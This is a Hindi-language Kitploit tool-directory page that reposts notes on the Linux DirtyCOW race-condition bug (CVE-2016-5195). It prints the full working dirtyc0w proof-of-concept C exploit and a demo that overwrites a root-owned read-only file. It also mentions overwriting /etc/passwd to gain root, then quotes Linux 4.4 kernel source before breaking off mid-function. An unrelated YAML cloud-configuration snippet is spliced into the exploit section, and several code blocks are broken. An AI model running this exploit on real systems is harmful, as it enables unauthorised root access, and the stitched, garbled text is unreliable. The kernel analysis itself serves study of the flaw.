Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2016-5195 — DirtyCOW नोट्स | Kitploit
उपकरण/GitHubGitHub/asuka39/cve-2016-5195
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणलर्निंग और शिक्षाबाइनरी शोषण
GitHubasuka39/cve-2016-5195

CVE-2016-5195

DirtyCOW नोट्स

रिपॉजिटरी देखें
2 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2016-5195 DirtyCOW

PoC

  • से संशोधितdirtycow.github.io```c #include <stdio.h> #include <sys/mman.h> #include <fcntl.h> #include <pthread.h> #include <unistd.h> #include <sys/stat.h> #include <string.h> #include <stdint.h>

void *map; int f; struct stat st; char *name;

void *madviseThread(void *arg) { char str; str = (char)arg; int i, c = 0; for(i = 0; i < 100000000; i++) { c += madvise(map, 100, MADV_DONTNEED); } printf("madvise %d\n\n", c); }

void *procselfmemThread(void *arg) { char str; str = (char)arg;

int f = open("/proc/self/mem", O_RDWR); int i, c = 0; for(i = 0; i < 100000000; i++) { lseek(f, (uintptr_t)map, SEEK_SET); c += write(f, str, strlen(str)); } printf("procselfmem %d\n\n", c); }

int main(int argc, char *argv[]) { if (argc < 3) { (void)fprintf(stderr, "%s\n", "usage: dirtyc0w target_file new_content"); return 1; } pthread_t pth1, pth2;

f = open(argv[1], O_RDONLY); fstat(f, &st); name = argv[1];

map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0); printf("mmap %zx\n\n", (uintptr_t)map);

pthread_create(&pth1, NULL, madviseThread, argv[1]); pthread_create(&pth2, NULL, procselfmemThread, argv[2]);

pthread_join(pth1, NULL); pthread_join(pth2, NULL); return 0; }

यह टूल कई क्लाउड प्लेटफ़ॉर्म पर उपयोग किया जा सकता है।

### कॉन्फ़िगरेशन फ़ाइल
```yaml
target:
  api: "https://api.example.com"
  account: "test-account"

आप कई लक्ष्य सेट कर सकते हैं।``` $ sudo su

echo "READ ONLY" > flag.txt

chmod 0404 flag.txt

exit

$ $ ll flag.txt -r-----r-- 1 root root 10 flag.txt $ echo "aaaaaa" > flag.txt Permission Denied $ $ gcc -pthread dirty.c -o dirty $ ./dirty flag.txt aaaaaa mmap 7f1a35bc4000

procselfmem -2094967296

madvise 0 $ cat flag.txt aaaaaa

यह एक सामान्य शोषण तकनीक है जहां `/etc/passwd` में अनधिकृत रूप से लिखकर रूट उपयोगकर्ता को संशोधित किया जाता है या उपयोगकर्ता की अनुमतियों को बदलकर विशेषाधिकार वृद्धि की जाती है।

## विश्लेषण

### शोषण विश्लेषण

पहले देखते हैं कि exp क्या करता है```c
int main(int argc, char *argv[]) {
  if (argc < 3) {
  	(void)fprintf(stderr, "%s\n","usage: dirtyc0w target_file new_content");
	return 1; 
  }
    
  pthread_t pth1, pth2;
  f = open(argv[1], O_RDONLY);
  fstat(f, &st);
  name = argv[1];

  map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0);
  printf("mmap %zx\n\n", (uintptr_t)map);

  pthread_create(&pth1, NULL, madviseThread, argv[1]);
  pthread_create(&pth2, NULL, procselfmemThread, argv[2]);

  pthread_join(pth1, NULL);
  pthread_join(pth2, NULL);
  return 0;
}
  • पहले pthread को कॉल कर दो थ्रेड बनाएं
  • फिर fopen से केवल-पढ़ने के लिए लक्ष्य फ़ाइल argv[1] खोलें
  • फ़ाइल को mmap से मेमोरी में मैप करें (पता यादृच्छिक), MAP_PRIVATE का कार्य एक कार्य-निजी मेमोरी मैपिंग बनाना है। यदि कोई अन्य कार्य इस मेमोरी में लिखने का प्रयास करता है, तो यह प्रक्रिया लिखने से पहले एक प्रतिलिपि बनाकर लिखती है, जिससे चाइल्ड प्रक्रिया या थ्रेड शुरू करते समय पूरे मेमोरी स्पेस की प्रतिलिपि बनाने में अधिक समय और स्थान खर्च नहीं करना पड़ता, और कार्यों के बीच समवर्ती मेमोरी संचालन एक-दूसरे को प्रभावित नहीं करते, इसे CopyOnWrite कहते हैं
  • इसके बाद दो थ्रेड प्रारंभ करें, एक madviseThread और दूसरा procselfmemThread निष्पादित करता है

फिर दो थ्रेड के निष्पादन बॉडी को देखें

  • एक थ्रेड फ़ाइल मैपिंग पर madvise को कॉल करके कर्नेल को मैप की गई मेमोरी या साझा मेमोरी के उपयोग की स्थिति बताता है। MADV_DONTNEED इंगित करता है कि अब इस मेमोरी क्षेत्र का उपयोग नहीं किया जाएगा, कर्नेल इसे मुक्त कर सकता है
  • दूसरा थ्रेड पढ़ने-लिखने की अनुमति के साथ /proc/self/mem खोलता है, यह फ़ाइल प्रक्रिया की अपनी वर्चुअल मेमोरी का फ़ाइल मैपिंग है, फिर लगातार लक्ष्य जानकारी को फ़ाइल में लिखने का प्रयास करता है```c void *madviseThread(void *arg) { char str; str = (char)arg; int i, c = 0; for(i = 0; i < 100000000; i++) { c += madvise(map, 100, MADV_DONTNEED); } printf("madvise %d\n\n", c); }

void *procselfmemThread(void *arg) { char str; str = (char)arg;

int f = open("/proc/self/mem", O_RDWR); int i, c = 0; for(i = 0; i < 100000000; i++) { lseek(f, (uintptr_t)map, SEEK_SET); c += write(f, str, strlen(str)); } printf("procselfmem %d\n\n", c); }

अंततः, दो थ्रेड्स के बार-बार हमलों के तहत, कर्नेल में एक प्रतिस्पर्धा भेद्यता (race condition vulnerability) उत्पन्न हुई, `procselfmemThread` ने सफलतापूर्वक एक केवल-पढ़ने योग्य फ़ाइल में लिखा

### Kernel Analysis

- बड़ी शर्त: `mmap` केवल vma पर मेमोरी मैपिंग स्थापित करता है, लेकिन वास्तव में मैप की गई फ़ाइल को भौतिक पृष्ठ फ्रेम में नहीं रखता। इसलिए जब हम पहली बार `write` फ़ाइल का प्रयास करते हैं, तो पेज फॉल्ट (page fault) उत्पन्न होना अनिवार्य है।
- यहाँ चुना गया कर्नेल संस्करण 4.4 है

#### जब हम लिखते हैं तो क्या होता है

##### mem_rw

हम `write` से विश्लेषण शुरू करते हैं। फ़ाइल पर किसी भी संक्रिया को फ़ाइल सिस्टम द्वारा VFS पर पंजीकृत वर्चुअल तालिका `file_operations` से गुज़रना होता है, और `/proc` पर फ़ाइलें procfs द्वारा कार्यान्वित की जाती हैं, `proc_mem_operations` ढूंढें, देख सकते हैं कि `write` `mem_write` से बाध्य है।```c
static const struct file_operations proc_mem_operations = {
	.llseek		= mem_lseek,
	.read		= mem_read,
	.write		= mem_write,
	.open		= mem_open,
	.release	= mem_release,
};

mem_write mem_rw का एक आवरण है (write फ़्लैग 1 पर सेट है), mem_rw की मुख्य प्रक्रिया है

  • पहले __get_free_page एक अस्थायी खाली पृष्ठ को बफ़र के रूप में आवंटित करता है

  • यदि लिखना ऑपरेशन है, तो copy_from_user को कॉल करके लिखे जाने वाले डेटा को अस्थायी पृष्ठ पर कॉपी करें

  • फिर access_remote_vm लक्ष्य डेटा को खाली पृष्ठ पर पढ़ता है (पढ़ना) या बफ़र की सामग्री को लक्ष्य पते पर लिखता है (लिखना)

    • रिमोट कहने का कारण यह है कि इस प्रक्रिया को दूसरी प्रक्रियाओं की मेमोरी मैप की गई फ़ाइलों को पढ़ने/लिखने की आवश्यकता हो सकती है, जिसका अर्थ है कि प्रक्रिया अन्य प्रक्रियाओं के पता स्थान तक पहुँच सकती है, यह अन्य मेमोरी फ़ाइलसिस्टम से भिन्न है
  • यदि पढ़ना ऑपरेशन है, तो पिछले चरण में खाली पृष्ठ पर पढ़े गए डेटा को उपयोगकर्ता के बफ़र पर वापस लिखें```c static ssize_t mem_rw(struct file *file, char __user *buf, size_t count, loff_t *ppos, int write) { struct mm_struct *mm = file->private_data; unsigned long addr = *ppos; ssize_t copied; char *page;

    if (!mm) return 0;

    page = (char *)__get_free_page(GFP_TEMPORARY); // 申请临时空闲页面 if (!page) return -ENOMEM;

    copied = 0; if (!atomic_inc_not_zero(&mm->mm_users)) goto free;

    while (count > 0) { int this_len = min_t(int, count, PAGE_SIZE); // 本次读取/写入数据长度,单次最大为PAGE_SIZE

      if (write && copy_from_user(page, buf, this_len)) {		// 若是写操作,从用户空间拷贝待写数据到临时空闲页面
      	copied = -EFAULT;
      	break;
      }
    
      this_len = access_remote_vm(mm, addr, page, this_len, write);	// 读取/写入数据到临时空闲页面
      if (!this_len) {
      	if (!copied)
      		copied = -EIO;
      	break;
      }
    
      if (!write && copy_to_user(buf, page, this_len)) {	// 若是读操作,将读取到的数据从临时空闲页面拷贝数据到用户空间
      	copied = -EFAULT;
      	break;
      }
    
      buf += this_len;
      addr += this_len;
      copied += this_len;
      count -= this_len;
    

    } *ppos = addr;

    mmput(mm); free: free_page((unsigned long) page); // 释放临时空闲页面 return copied; }

##### __access_remote_vm

`access_remote_vm` `__access_remote_vm` के लिए एक रैपर है। मुख्य प्रक्रिया है:

- `get_user_pages` लक्ष्य पते `addr` पर स्थित page struct प्राप्त करता है
- यदि प्राप्ति सफल होती है, तो `kmap` को कॉल करके page को कर्नेल के high memory में मैप किया जाता है (page भौतिक पृष्ठ को संदर्भित करता है)
- यदि मेमोरी एक्सेस एक लेखन ऑपरेशन है, तो डेटा को लिखने के बाद डर्टी बिट सेट किया जाता है; यदि पढ़ने का ऑपरेशन है, तो डेटा को पढ़ लिया जाता है```c
static int __access_remote_vm(struct task_struct *tsk, struct mm_struct *mm,
		unsigned long addr, void *buf, int len, int write)
{
	struct vm_area_struct *vma;
	void *old_buf = buf;

	down_read(&mm->mmap_sem);
	/* ignore errors, just check how much was successfully transferred */
	while (len) {
		int bytes, ret, offset;
		void *maddr;
		struct page *page = NULL;
टूल डाउनलोड करें